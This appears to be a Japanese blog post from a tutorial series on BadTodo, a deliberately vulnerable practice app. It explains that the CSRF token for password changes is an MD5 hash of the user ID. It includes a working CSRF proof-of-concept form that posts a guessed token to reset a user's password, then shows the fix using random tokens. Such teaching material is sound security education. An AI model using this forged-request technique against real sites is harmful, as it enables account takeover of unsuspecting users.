やられアプリ BadTodo - 10.6 CSRF対策トークンの不備

前回:やられアプリ BadTodo - 10.5 CSRF(対策) - demandosigno

トークンが推測可能

BadTodoで利用されていたトークンを幾つか抜き出してみました。
c4ca4238a0b923820dcc509a6f75849b
7bd4762216e1953efd194f3868c1e8ba
449e7e9838eabd52940a36d22c654228
3df2a117736ceea78e5fa72dca9f3af2
eccbc87e4b5ce2fe28308fd9f2a7baf3
4720ebfded0bb54afcec179e57ac8ac8
fd2899aa6326f03350ffe97653fa13d9

それぞれ32桁の英数字です。MD5アルゴリズムで算出されたハッシュ値の可能性があります。試しに"c4ca4238a0b923820dcc509a6f75849b"の元の値を確認すると"1"となりました。(レインボーテーブルを使い解析するサービスなどで確認できます。MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

c4ca4238a0b923820dcc509a6f75849b → 1
7bd4762216e1953efd194f3868c1e8ba →
449e7e9838eabd52940a36d22c654228 →
3df2a117736ceea78e5fa72dca9f3af2 →
eccbc87e4b5ce2fe28308fd9f2a7baf3 → 3
4720ebfded0bb54afcec179e57ac8ac8 →
fd2899aa6326f03350ffe97653fa13d9 →
2つだけ分かりました。(他の値はMD5ハッシュ値ではなく前回確認したように疑似乱数を生成するopenssl_random_pseudo_bytes()で生成されています。こちらもパラメータで16Bytes指定⇒bin2hex()することでHex32桁になっています)

このMD5ハッシュ値2つは「パスワード変更」のリクエストで使われています。

リクエスト
POST /changepwddo.php HTTP/1.1
ボディ
id=3&todotoken=eccbc87e4b5ce2fe28308fd9f2a7baf3&newpwd=test&newpwd2=test

"3"をMD5エンコードすると上記の通り"eccbc87e4b5ce2fe28308fd9f2a7baf3"でした。リクエストを行った当人のIDをハッシュ可したものをトークンとしておりログアウト・ログインし直しても同じのようです。

「パスワード変更」リクエストは「メールアドレスの変更」リクエストと異なりトークンのチェックが行われているためトークンを削除・改変するとエラーとなります。

しかし今回トークン値が推測できてしまったため、その値を使うことでリクエストが送れます。(またこのリクエストは実際にはID値は考慮されていないためトークンのみで送ってみます。csrf_password_change_token.html)

<html>
  <body>
    <form action="https://todo.example.jp/changepwddo.php" method="POST">
      <input type="hidden" name="todotoken" value="eccbc87e4b5ce2fe28308fd9f2a7baf3"/>
      <input type="hidden" name="newpwd" value="hack"/>
      <input type="hidden" name="newpwd2" value="hack"/>
      <input type="submit">
    </form>
  </body>
<html>

で試します。送信

変更されました。

ただ、実際のところは利用者が先に一度は変更直前のページchangepwd.phpを訪れてトークンをセッションにセットしていることが前提になり、そうでない場合はエラーになります。
ですのでCSRF対策トークンは通常リクエスト直前のページでセットします。

MD5⇒乱数 に修正

changepwd.php

<?php
  require_once('./common.php');
  $app->require_loggedin();       //ログインされているかチェック
  $id = $app->get_id();           //ログイン中のユーザーのIDを取得
  $reqid = $app->requested_id();  //リクエストされたIDを取得
  // $token = md5($id);              //ログイン中のユーザーIDをMD5でハッシュ化してトークンを生成
  // $app->set('token', $token);     //生成したトークンをアプリケーション内で使用できるようにセット
  ↓
  $token = $app->get_token();  // get_token()メソッドの方を使い疑似乱数で生成するように変更。

changepwddo.php

<?php
  require_once('./common.php');
  $app->require_loggedin();
  $token = filter_input(INPUT_POST, TOKENNAME);
  // if ($token !== $app->get('token')) {
  ↓
  if ($token != $app->get(TOKENNAME)) {
    error_exit('正規の画面から使用ください');
  }

確認

パスワード変更画面で生成されるトークンがMD5ハッシュではなく乱数になりました。

注:このままだと editdone.php など別のページでトークンチェックエラーとなるためそちらも修正が必要です。
または今回の修正は一旦元に戻しておいてください。

次回:やられアプリ BadTodo - 10.7 XSSによるCSRF対策の突破 - demandosigno

/* -----codeの行番号----- */